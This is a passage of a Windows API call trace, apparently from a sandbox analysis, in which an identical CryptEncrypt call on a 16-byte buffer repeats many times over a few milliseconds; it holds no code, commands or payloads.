pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.861] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.862] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.863] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.864] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 